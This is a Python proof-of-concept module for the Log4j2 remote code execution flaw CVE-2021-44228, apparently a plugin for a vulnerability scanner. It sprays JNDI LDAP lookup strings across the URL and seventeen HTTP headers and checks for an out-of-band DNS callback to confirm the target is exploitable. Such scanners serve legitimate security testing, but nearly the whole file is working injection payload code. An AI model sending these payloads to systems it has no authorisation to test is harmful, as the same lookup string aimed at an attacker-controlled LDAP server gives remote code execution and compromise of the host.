CVE-2021-44228.py

import requests
from plugins.oob import verify_request, gen_oob_domain



# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Apache Log4j2 Remote Code Injection''',
        "description": '''Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.''',
        "severity": "critical",
        "references": [
            "https://logging.apache.org/log4j/2.x/security.html", 
            "https://nvd.nist.gov/vuln/detail/CVE-2021-44228", 
            "https://github.com/advisories/GHSA-jfh8-c2jp-5v3q", 
            "https://www.lunasec.io/docs/blog/log4j-zero-day/", 
            "https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2021-44228",
            "cwe-id": "CWE-502"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2021", "rce", "oast", "log4j", "injection"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        oob_domain,flag = gen_oob_domain()

        path = """/?x=${jndi:ldap://${hostName}.oob_domain/a}"""
        method = "GET"
        data = """"""
        headers = {'Accept': '${jndi:ldap://${hostName}.accept.oob_domain}', 'Accept-Encoding': '${jndi:ldap://${hostName}.acceptencoding.oob_domain}', 'Accept-Language': '${jndi:ldap://${hostName}.acceptlanguage.oob_domain}', 'Access-Control-Request-Headers': '${jndi:ldap://${hostName}.accesscontrolrequestheaders.oob_domain}', 'Access-Control-Request-Method': '${jndi:ldap://${hostName}.accesscontrolrequestmethod.oob_domain}', 'Authentication': 'Bearer ${jndi:ldap://${hostName}.authenticationbearer.oob_domain}', 'Cookie': '${jndi:ldap://${hostName}.cookiename.oob_domain}=${jndi:ldap://${hostName}.cookievalue.oob_domain}', 'Location': '${jndi:ldap://${hostName}.location.oob_domain}', 'Origin': '${jndi:ldap://${hostName}.origin.oob_domain}', 'Referer': '${jndi:ldap://${hostName}.referer.oob_domain}', 'Upgrade-Insecure-Requests': '${jndi:ldap://${hostName}.upgradeinsecurerequests.oob_domain}', 'User-Agent': '${jndi:ldap://${hostName}.useragent.oob_domain}', 'X-Api-Version': '${jndi:ldap://${hostName}.xapiversion.oob_domain}', 'X-CSRF-Token': '${jndi:ldap://${hostName}.xcsrftoken.oob_domain}', 'X-Druid-Comment': '${jndi:ldap://${hostName}.xdruidcomment.oob_domain}', 'X-Forwarded-For': '${jndi:ldap://${hostName}.xforwardedfor.oob_domain}', 'X-Origin': '${jndi:ldap://${hostName}.xorigin.oob_domain}'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if verify_request(type="dns", flag=flag):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url